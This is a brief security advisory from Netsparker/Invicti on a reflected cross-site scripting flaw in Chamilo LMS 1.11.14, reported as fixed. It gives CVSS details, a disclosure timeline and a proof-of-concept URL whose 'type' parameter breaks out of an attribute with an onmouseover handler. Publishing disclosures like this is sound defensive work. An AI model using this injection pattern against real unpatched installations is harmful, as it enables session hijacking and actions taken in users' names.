Cross-Site Scripting Vulnerability in Chamilo LMS 1.11.14

Information

Advisory by Netsparker (now Invicti)
Name: Cross-Site Scripting Vulnerability in Chamilo LMS
Affected Software: Chamilo LMS
Affected Versions: 1.11.14 
Homepage: https://chamilo.org/en/
Vulnerability: Cross-Site Scripting
Severity: High
Status: Fixed
CVSS Score (3.0): 7.4 (High)
Invicti Advisory Reference: NS-21-001

Technical Details

URL: http://alihost/chamilo/main/calendar/agenda_list.php?type=x"%20onmouseover=netsparker(0x01CE61)%20x="#collapse-personal_1
Parameter Name: type
Parameter Type: GET
Attack Pattern: x%22+onmouseover%3dnetsparker(0x01CE61)+x%3d%22

For more information on cross-site scripting vulnerabilities read the section Cross-site scripting (XSS).

Advisory Timeline

14th January 2021 – First Contact
27th January 2021 – Vendor Fixed
28th January 2021 – Advisory Released

Credits & Authors

These issues have been discovered by Ali Oğuz while testing the Invicti Web Application Security Scanner.

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